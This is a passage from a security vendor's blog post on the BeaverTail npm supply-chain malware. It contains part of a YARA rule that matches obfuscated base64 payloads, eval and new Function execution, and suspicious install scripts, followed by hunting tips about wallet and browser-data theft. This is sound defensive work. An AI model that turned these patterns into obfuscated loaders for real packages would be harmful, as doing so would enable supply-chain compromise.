        $node_exec2 = "node dist/" nocase
        $node_exec3 = "node -e" nocase
         
        // Obfuscated payload patterns
        $payload1 = /const\s+[a-zA-Z0-9_$]{1,10}\s*=\s*["'][a-zA-Z0-9+/=]{100,}["']/
        $payload2 = /var\s+[a-zA-Z0-9_$]{1,10}\s*=\s*["'][a-zA-Z0-9+/=]{100,}["']/
         
        // Decoder function patterns
        $decoder1 = /(?:const|var|let)\s+[a-zA-Z0-9_$]{1,10}\s*=\s*(?:[a-zA-Z0-9_$]{1,10}\s*=>|function\s*\([a-zA-Z0-9_$]{1,10}\)\s*{)\s*(?:Buffer\.from|atob)/
        $decoder2 = "toString('base64')" nocase
        $decoder3 = "Buffer.from" nocase
         
        // Execution evasion techniques
        $exec1 = "new Function" nocase
        $exec2 = "setTimeout" nocase
        $exec3 = "eval(" nocase
        $exec4 = ".call(null" nocase
         
    condition:
        // Common package.json or JavaScript file formats
        (
            // package.json detection
            (
                (uint8(0) == 0x7B and uint8(1) == 0x0A) or // "{\n"
                (uint8(0) == 0x7B and uint8(1) == 0x0D) or // "{\r"
                (uint8(0) == 0x7B and uint8(1) == 0x22)    // {"
            )
            or
            // JavaScript file detection
            (
                uint32(0) == 0x2F2F2020 or // Starts with "//  "
                uint32(0) == 0x2F2F0A0A or // Starts with "//\n\n"
                uint32(0) == 0x2F2A0A20 or // Starts with "/*\n "
                uint16(0) == 0x7661 or     // Starts with "va" (likely "var")
                uint16(0) == 0x6675 or     // Starts with "fu" (likely "function")
                uint16(0) == 0x636F or     // Starts with "co" (likely "const")
                uint16(0) == 0x6D6F        // Starts with "mo" (likely "module")
            )
        )
        and
        // Detection criteria
        (
            // Package.json with suspicious script pattern
            (1 of ($pkg_script*) and 1 of ($node_exec*)) or
             
            // Obfuscated payload with decoder
            (1 of ($payload*) and 1 of ($decoder*)) or
             
            // Suspicious execution methods with decoders
            (1 of ($exec*) and 1 of ($decoder*)) or
             
            // Multiple indicators of malicious behavior
            (1 of ($node_exec*) and 1 of ($exec*))
        )
}

Hunting Tips for Advanced Detection

In addition to the code samples and YARA rules above, the following hunting tips will assist security professionals in identifying BeaverTail infections:

  1. NPM Package Statistical Analysis: Run statistical analysis on installed NPM packages to identify:
    • Packages with recently updated versions that have significantly increased in size
    • Packages with obfuscated code in minified files that don’t match known minification patterns
    • Packages with high entropy in certain JavaScript files, especially when compared to previous versions
  2. Network Traffic Analysis: Monitor for:
    • HTTPS connections made directly after NPM package installation
    • DNS requests to domains containing variations of ‘npm’, ‘registry’, ‘module’, ‘pkg’, ‘cdn’
    • Unexpected TLS connections from Node.js or NPM processes
    • HTTP/HTTPS requests with npm-related User-Agent strings not originating from legitimate npm processes
  3. Process Analysis: Monitor for:
    • Node.js processes spawning after package installation with unusual command-line arguments
    • Unexpected Python process spawning from Node.js or JavaScript execution contexts
    • Node.js processes accessing browser data directories
    • Persistent Node.js processes that remain after package installation completes
  4. Memory Forensics: Search for:
    • Strings related to cryptocurrency wallets in Node.js process memory
    • Base64-encoded JavaScript in Node.js process memory
    • Deobfuscated BeaverTail code in memory that doesn’t appear in source files
    • Command and control domains and endpoints in process memory strings

Combining these hunting techniques with the provided code samples and YARA rules will significantly enhance detection capabilities for BeaverTail malware variants within development environments.

Conclusion

BeaverTail represents a sophisticated supply chain threat targeting the JavaScript ecosystem. Its advanced obfuscation techniques, modular architecture, and connection to the InvisibleFerret backdoor demonstrate the evolving nature of development-targeted malware. Organizations utilizing JavaScript in their development pipelines should implement comprehensive security controls focusing on package integrity verification, network monitoring, and endpoint protection.

The WageMole threat actor behind BeaverTail demonstrates significant operational security awareness and technical sophistication. Security teams should treat any potential BeaverTail compromise as an indication of a potentially larger-scale attack and implement appropriate incident response procedures.

By understanding BeaverTail’s technical mechanisms and implementing appropriate detection and prevention strategies, security professionals can better protect their development environments against this emerging threat.

Read More

Gridinsoft Team
Gridinsoft Team

Founded in 2003, GridinSoft LLC is a Kyiv, Ukraine-based cybersecurity company committed to safeguarding users from the ever-growing threats in the digital landscape. With over two decades of experience, we have earned a reputation as a trusted provider of innovative security solutions, protecting millions of users worldwide.

Articles: 137

Leave a Reply

Your email address will not be published. Required fields are marked *